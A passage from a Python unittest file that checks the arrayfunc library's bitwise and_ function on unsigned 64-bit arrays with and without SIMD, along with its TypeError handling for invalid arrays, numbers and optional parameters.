self.dataout = array.array('Q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code Q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_Q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('Q', xdata)
self.data2 = array.array('Q', ydata)
self.dataout = array.array('Q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code Q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_Q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('Q', xdata)
self.data2 = array.array('Q', ydata)
self.dataout = array.array('Q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code Q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__param_errors_b(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('b', testdata1)
self.testarray2 = array.array('b', testdata2)
self.dataout = array.array('b', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code b.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code b.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code b.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code b.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code b.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code b.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code b.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code b.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code b.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code b.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code b.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code b.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_b(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('b', self.inpdata1a)
self.inparray2a = array.array('b', self.inpdata2a)
self.dataout = array.array('b', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code b.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code b.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code b.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code b.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code b.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code b.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
